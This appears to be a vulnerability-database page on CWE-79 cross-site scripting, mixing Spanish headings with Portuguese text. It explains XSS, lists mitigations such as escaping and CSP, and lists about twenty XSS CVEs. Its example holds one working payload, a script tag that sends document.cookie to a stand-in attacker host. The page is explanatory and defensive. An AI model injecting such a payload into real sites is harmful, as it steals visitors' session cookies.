Fallos del tipo CWE-79

30.147 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-51534MEDIUMWordPress Brave Popup Builder Plugin <= 0.6.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2024-10049MEDIUMEdit WooCommerce Templates <= 1.1.2 - Reflected Cross-Site Scripting via pageEPSS 0.3%CVE-2024-27996MEDIUMWordPress Survey Maker plugin <= 4.0.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-24399CRITICALChatterMate has Stored Cross-Site Scripting (XSS) via Chatbot Input ExecutionEPSS 0.3%CVE-2024-12393MEDIUMDrupal core - Moderately critical - Cross Site Scripting - SA-CORE-2024-003EPSS 0.3%CVE-2024-30185MEDIUMWordPress Element Pack Elementor Addons plugin <= 5.5.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-30520MEDIUMWordPress Carousel Anything For WPBakery Page Builder plugin <= 2.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-9653MEDIUMRestaurant Menu – Food Ordering System – Table Reservation <= 2.4.2 - Reflected Cross-Site ScriptingEPSS 0.3%CVE-2025-3888MEDIUMJupiterx Core <= 4.8.12 - Authenticated (Contributor+) Stored Cross-Site Scripting via Inline SVGEPSS 0.3%CVE-2024-11488MEDIUM115cms web_user.html cross site scriptingEPSS 0.3%CVE-2024-29927MEDIUMWordPress WishSuite plugin <= 1.3.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-7655MEDIUMCommunity by PeepSo – Social Network, Membership, Registration, User Profiles <= 6.4.5.0 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2023-51685MEDIUMWordPress WP Review Slider Plugin <= 12.7 is vulnerable to Cross Site Scripting (XSS)EPSS 0.3%CVE-2026-54011HIGHOpen WebUI: Stored XSS in Mermaid Markdown PreviewEPSS 0.3%CVE-2026-44482CRITICALsoundcloud-rpc: Remote Code Execution via XSS in Track TitleEPSS 0.3%CVE-2024-10555MEDIUMMaxButtons < 9.8.1 - Admin+ Stored XSS via Button WidthEPSS 0.3%CVE-2024-29925MEDIUMWordPress Post Grid, Slider & Carousel Ultimate plugin <= 1.6.6 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-29811MEDIUMWordPress Radio Player plugin <= 2.0.73 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-34374MEDIUMWordPress ElementsReady Addons for Elementor plugin <= 5.8.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-45984MEDIUMA Cross Site Scripting (XSS) vulnerability in add_donor.php of Blood Bank And Donation Management System 1.0 allows an attacker to inject maEPSS 0.3%